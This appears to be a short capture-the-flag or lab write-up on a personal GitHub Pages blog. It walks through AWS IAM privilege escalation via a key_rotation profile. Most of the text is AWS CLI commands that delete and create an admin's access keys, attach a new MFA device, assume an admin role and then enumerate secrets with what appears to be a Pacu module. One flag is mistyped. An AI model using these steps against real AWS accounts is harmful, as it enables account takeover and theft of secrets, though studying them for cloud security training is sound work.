rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

IAM privesc by key_rotation


image

image

aws iam tag-user --user-name <username> --tags '{"Key": "developer", "Value": "true"}' --profile key_rotation | jq
aws iam list-access-keys --user-name <username> --profile key_rotation | jq

image

aws iam delete-access-key --user-name admin_ --access-key-id AKIA4TCVBDXKSZGBT75K --profile key_rotation | jq
aws iam create-access-key --user-name <admin> --profile key_rotation | jq

image

aws iam create-virtual-mfa-device --virtual-mfa-device-name mfaDevice --outfile /home/sensei/cloud/iam_key_rotation/iam.png --bootstrap-method QRCodePNG | jq

image

aws iam list-virtual-mfa-devices --profile admin_key_rotation | jq 

image

aws iam enable-mfa-device \
    --user-name TargetIAMUserName \
    --serial-number arn:aws:iam::123456789012:mfa/MyUserMFADevice \
    --authentication-code-1 <first one> \
    --authentication-code-2 <second code>
aws sts assume-role \
  --role-arm "arn:aws:iam::123456789012:role/YourAdminRoleName" \
  --role-session-name "MFA-Admin-Session" \
  --serial-number "arn:aws:iam::123456789012:mfa/your-username" \
  --token-code <from authenticator>

image

#configure the temp_keys with
set_keys
#run module
run enum__secrets --region us-east-1

image

image